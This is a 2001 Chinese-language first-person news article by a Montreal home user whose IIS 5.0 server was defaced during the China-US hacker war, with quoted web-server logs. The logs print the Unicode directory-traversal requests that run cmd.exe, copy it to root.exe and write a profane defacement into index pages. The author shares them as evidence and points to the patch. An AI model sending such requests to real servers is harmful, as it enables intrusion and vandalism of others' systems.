(//tvsmo.com)
【大紀元5月10日訊】 天天在家里上网，每天都要去新浪网和网易，當然也少不了看看中美黑客网絡大戰的最新戰報。真可謂人在海外，不忘祖國。但我無論如何也沒想到中美黑客网絡大戰會影響到我。
其實我并沒有將家里計算机作為网站，我用ADSL上网，由于沒有任何限制，加上不站電話線，所以我的計算机一開就在Internet上。我家有兩台PC，所以我在一台PC上裝了Windows 2000，當然也裝了IIS 5.0，昨天我用http:127.0.0.1在我的PC上一看，原來微軟IIS預裝的例子网頁卻成了如下的黑底紅字。
fuck USA Government
fuck PoizonBOx
contact:sysadmcn@yahoo.com.cn
原來來自祖國的黑客把我在加拿大蒙特利爾Montreal家里計算机給黑了。
以下部分IIS記錄。
2001-05-07 00:47:52 209.218.XXX.XX – 64.23X.XXX.XXX 80 GET /scripts/../../winnt/system32/cmd.exe /c+dir+.. 200 –
2001-05-07 00:47:52 209.218.XXX.XX – 64.23X.XXX.XXX 80 GET /scripts/../../winnt/system32/cmd.exe /c+copy+winnt
system32cmd.exe+root.exe 502 –
2001-05-07 00:47:52 209.218.XXX.XX – 64.23X.XXX.XXX 80 GET /scripts/root.exe /c+echo+^^^^^^^^^^^^fuck+USA+
Government^^^^^fuck+PoizonBOx^^^^contact:sysadmcn@
yahoo.com.cn^>.././index.asp 502 –
2001-05-07 00:47:53 209.218.XXX.XX – 64.23X.XXX.XXX 80 GET /scripts/root.exe /c+echo+^^^^^^^^^^^^fuck+USA+
Government^^^^^fuck+PoizonBOx^^^^contact:sysadmcn@
yahoo.com.cn^>.././index.htm 502 –
2001-05-07 00:47:53 209.218.XXX.XX – 64.23X.XXX.XXX 80 GET /scripts/root.exe /c+echo+^^^^^^^^^^^^fuck+USA+
Government^^^^^fuck+丫PoizonBOx^^^^contact:sysadmcn@
yahoo.com.cn^>.././default.asp 502 –
我不知道我的計算机是否也算那被攻破的美國1600多個网站之一。如果真是這樣的話…我真為你們臉紅。
作為一個計算机的專家，我知道要黑一個一般的网站不是一件很難的事。我從來不用网上銀行，因為我總覺得不安全。我知道Windows有很多bug，我也知道unicode漏洞，只是自己很忙，就沒有去下載微軟的補丁。再說我的計算机也不是總開著，而且還是動態IP，又不是正式的网站，也就沒有在意。而恰恰是這一unicode漏洞，在我新浪网上看那恨可但又沒法讓自己忘卻的中國足球的時刻，讓來自祖國所謂的黑客給黑了。
我不知道攻破我的黑客是否和去年Montreal的十五歲的Mafiaboy一樣，只是在Internet下載一些黑客工具，并不是什么計算机天才（這是加拿大警察的結論）。如果是這樣的話，還是把你的時間花在學習上的好，千万別上了某些國內記者宣傳的當，以為黑了几台像我這樣的計算机，就成了高手。如果攻破我的黑客是一位真正的高手，你就應該利用你的技術干點正事。
昨晚就在我寫這几句的時候，黑客又來了，以下部分是IIS記錄。
2001-05-09 02:06:37 198.138.XX.XX – 64.23X.XXX.XXX 80 GET /scripts/../../winnt/system32/cmd.exe /c+dir 404 –
2001-05-09 02:06:37 198.138.XX.XX – 64.23X.XXX.XXX 80 GET /scripts/…./winnt/system32/cmd.exe /c+dir 404 –
2001-05-09 02:06:42 198.138.XX.XX – 64.23X.XXX.XXX 80 GET /msadc/../../../../../../winnt/system32/cmd.exe /c+dir 403 –
沒想到今天，又有黑客光臨。
2001-05-09 12:53:45 207.179.X.XXX – 64.23X.XXX.XXX 80 GET /scripts/../../winnt/system32/cmd.exe /c+dir 404 –
2001-05-09 12:53:45 207.179.X.XXX – 64.23X.XXX.XXX 80 GET /scripts/…./winnt/system32/cmd.exe /c+dir 404 –
2001-05-09 12:53:48 207.179.X.XXX – 64.23X.XXX.XXX 80 GET /scripts/…./winnt/system32/cmd.exe /c+dir 404 –
當然，這兩次沒有成功。也許我真應該去微軟下載補丁。
我真不知道你們為啥對64.23X.XXX.XXX如此的感興趣。64.23X.XXX.XXX不是美國海軍网站，只是加拿大最大ISP Sympatico的個人用戶，大部分人都是和我一樣的普通老百姓，請別再瞎黑。該不會是PoizonBOx的成員也用64.23X.XXX.XXX吧？
請別再瞎黑
想了解unicode漏洞詳情，請訪問//www.microsoft.com/technet/security/bulletin/ms00-078.asp
相關文章
